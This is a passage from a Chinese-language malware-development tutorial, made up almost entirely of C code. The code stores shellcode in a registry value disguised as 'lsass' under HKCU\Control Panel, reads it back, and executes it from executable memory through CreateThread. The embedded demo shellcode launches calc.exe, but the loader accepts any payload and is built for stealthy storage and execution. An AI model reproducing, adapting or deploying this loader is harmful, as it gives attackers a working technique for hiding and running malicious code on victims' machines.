LPDWORD pcbData
: 指向接收数据大小的变量的指针。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <Windows.h> #include <stdio.h> #define REGISTRY "Control Panel" #define REGSTRING "lsass" BOOL ReadShellcodeFromRegistry (IN DWORD sPayloadSize, OUT PBYTE* ppPayload) { LSTATUS STATUS = NULL ; DWORD dwBytesRead = sPayloadSize; PVOID pBytes = NULL ; pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sPayloadSize); if (pBytes == NULL ) { printf ("[!] HeapAlloc Failed With Error : %d\n" , GetLastError()); return FALSE; } STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL , pBytes, &dwBytesRead); if (ERROR_SUCCESS != STATUS) { printf ("[!] RegGetValueA Failed With Error : %d\n" , STATUS); HeapFree(GetProcessHeap(), 0 , pBytes); return FALSE; } if (sPayloadSize != dwBytesRead) { printf ("[!] Total Bytes Read : %d ; Instead Of Reading : %d\n" , dwBytesRead, sPayloadSize); HeapFree(GetProcessHeap(), 0 , pBytes); return FALSE; } *ppPayload = static_cast<PBYTE>(pBytes); return TRUE; }
执行载荷 ⼀旦从注册表中读取有效载荷并将其存储在分配的缓冲区中,该RunShellcode
函数就会⽤于执⾏有效载荷
1 2 3 4 5 6 7 8 9 10 11 12 13 14 BOOL RunShellcode (IN PVOID buf, IN SIZE_T bufSize) { LPVOID Memory = VirtualAlloc(NULL , bufSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (Memory == NULL ) { return 0 ; } memcpy (Memory, buf, bufSize); DWORD dwThreadId = 0 ; HANDLE hThread = CreateThread(NULL , NULL , (LPTHREAD_START_ROUTINE)Memory, NULL , NULL , &dwThreadId); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); return TRUE; }
完整代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 #include <Windows.h> #include <stdio.h> #define REGISTRY "Control Panel" #define REGSTRING "lsass" BOOL WriteShellcodeToRegistry (IN PBYTE pShellcode, IN DWORD dwShellcodeSize) { BOOL bSTATE = TRUE; LSTATUS STATUS = NULL ; HKEY hKey = NULL ; printf ("[i] Writing 0x%p [ Size: %ld ] to \"%s\\%s\" ... " , pShellcode, dwShellcodeSize, REGISTRY, REGSTRING); STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0 , KEY_SET_VALUE, &hKey); if (ERROR_SUCCESS != STATUS) { printf ("[!] RegOpenKeyExA Failed With Error : %d\n" , STATUS); bSTATE = FALSE; goto _EndOfFunction; } STATUS = RegSetValueExA(hKey, REGSTRING, 0 , REG_BINARY, pShellcode, dwShellcodeSize); if (ERROR_SUCCESS != STATUS) { printf ("[!] RegSetValueExA Failed With Error : %d\n" , STATUS); bSTATE = FALSE; goto _EndOfFunction; } printf ("[+] DONE ! \n" ); _EndOfFunction: if (hKey) RegCloseKey(hKey); return bSTATE; } BOOL ReadShellcodeFromRegistry (IN DWORD sPayloadSize, OUT PBYTE* ppPayload) { LSTATUS STATUS = NULL ; DWORD dwBytesRead = sPayloadSize; PVOID pBytes = NULL ; pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sPayloadSize); if (pBytes == NULL ) { printf ("[!] HeapAlloc Failed With Error : %d\n" , GetLastError()); return FALSE; } STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL , pBytes, &dwBytesRead); if (ERROR_SUCCESS != STATUS) { printf ("[!] RegGetValueA Failed With Error : %d\n" , STATUS); HeapFree(GetProcessHeap(), 0 , pBytes); return FALSE; } if (sPayloadSize != dwBytesRead) { printf ("[!] Total Bytes Read : %d ; Instead Of Reading : %d\n" , dwBytesRead, sPayloadSize); HeapFree(GetProcessHeap(), 0 , pBytes); return FALSE; } *ppPayload = static_cast<PBYTE>(pBytes); return TRUE; } BOOL RunShellcode (IN PVOID buf, IN SIZE_T bufSize) { LPVOID Memory = VirtualAlloc(NULL , bufSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (Memory == NULL ) { return 0 ; } memcpy (Memory, buf, bufSize); DWORD dwThreadId = 0 ; HANDLE hThread = CreateThread(NULL , NULL , (LPTHREAD_START_ROUTINE)Memory, NULL , NULL , &dwThreadId); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); return TRUE; } int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; if (!WriteShellcodeToRegistry(buf, sizeof (buf))) { printf ("[!] Failed to write shellcode to registry.\n" ); return 1 ; } PBYTE pPayload = NULL ; DWORD payloadSize = sizeof (buf); if (!ReadShellcodeFromRegistry(payloadSize, &pPayload)) { printf ("[!] Failed to read shellcode from registry.\n" ); return 1 ; } if (!RunShellcode(pPayload, payloadSize)) { printf ("[!] Failed to run shellcode.\n" ); return 1 ; } HeapFree(GetProcessHeap(), 0 , pPayload); return 0 ; }